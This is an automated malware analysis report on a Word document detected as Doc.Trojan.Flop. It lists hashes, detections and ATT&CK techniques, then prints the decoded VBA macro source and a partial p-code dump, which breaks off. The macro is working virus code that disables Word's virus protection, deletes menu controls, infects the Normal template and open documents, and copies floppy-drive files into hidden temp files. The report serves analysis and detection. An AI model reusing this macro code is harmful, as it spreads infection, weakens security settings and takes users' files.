Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5378dd1dcf3a99e…

MALICIOUS

Office (OLE)

30.0 KB Created: 2001-07-06 03:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d3ac1f74f790359f685d3ac36d07a4fc SHA-1: e7d5c812059195fdb364b4ad0edf4e6e941776db SHA-256: d5378dd1dcf3a99e449b6ddb79d061dac918e40253704119b43be783c8643a4c
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon document opening. The ClamAV detections 'Doc.Trojan.Flop-2' and 'Doc.Trojan.Flop-1' strongly indicate malicious intent. The VBA code attempts to disable security features and manipulate the Normal template, suggesting it aims to establish persistence or download further malicious content.

Heuristics 3

  • ClamAV: Doc.Trojan.Flop-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Flop-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9723 bytes
SHA-256: 8eefb82fe525526994e72384e80590f6ef6f2a4235ef0496603e1ee55dc01955
Detection
ClamAV: Doc.Trojan.Flop-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'VBACopyFloppy
Option Explicit
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetTempFileName Lib "kernel32.dll" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long

Private Sub Document_Close()

End Sub

Private Sub Document_Open()
Dim i As Long, s1 As String * 256, s2 As String
On Error Resume Next
Application.EnableCancelKey = 0
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
CommandBars.FindControl(, 30017).Delete
For i = 1 To CommandBars(29).Controls.Count: CommandBars(29).Controls(1).Delete: Next
For i = 1 To CommandBars(9).Controls.Count: CommandBars(9).Controls(1).Delete: Next
For i = 1 To CommandBars(6).Controls.Count: CommandBars(6).Controls(1).Delete: Next
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, 1) <> MacroContainer.VBProject.VBComponents(1).CodeModule.Lines(1, 1) Then
    NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
    NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromString MacroContainer.VBProject.VBComponents(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents(1).CodeModule.CountOfLines)
    NormalTemplate.Save
ElseIf ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 1) <> MacroContainer.VBProject.VBComponents(1).CodeModule.Lines(1, 1) Then
    With ActiveDocument
        .VBProject.VBComponents(1).CodeModule.DeleteLines 1, .VBProject.VBComponents(1).CodeModule.CountOfLines
        .VBProject.VBComponents(1).CodeModule.AddFromString MacroContainer.VBProject.VBComponents(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents(1).CodeModule.CountOfLines)
        If Dir(.FullName) <> "" Then .SaveAs .FullName, wdWordDocument
        .Saved = True
    End With
End If
If GetDriveType(Mid(ActiveDocument.FullName, 1, 2)) = 2 Then
    s2 = s1
    GetTempPath 256, s1
    With Application.FileSearch
        .FileName = "*.*"
        .LookIn = Mid(ActiveDocument.FullName, 1, 3)
        .SearchSubFolders = True
        .Execute
        For i = 1 To .FoundFiles.Count: GetTempFileName s1, "~~", 0, s2: CopyFile .FoundFiles(i), s2, 0: SetAttr s2, 7: Next
    End With
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/747a6d4506eb426dbafa3c71443747b0.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4693 bytes
' Line #0:
' 	QuoteRem 0x0000 0x000D "VBACopyFloppy"
' Line #1:
' 	Option  (Explicit)
' Line #2:
' 	FuncDefn (Private Declare Function GetDriveType Lib "kernel32" (ByVal nDrive As String) As Long)
' Line #3:
' 	FuncDefn (Private Declare Function GetTempPath Lib "kernel32" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long)
' Line #4:
' 	FuncDefn (Private Declare Function CopyFile Lib "kernel32" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long)
' Line #5:
' 	FuncDefn (Private Declare Function GetTempFileName Lib "kernel32.dll" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long)
' Line #6:
' Line #7:
' 	FuncDefn (Private Sub Document_Close())
' Line #8:
' Line #9:
' 	EndSub 
' Line #10:
' Line #11:
' 	FuncDefn (Private Sub Document_Ope
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.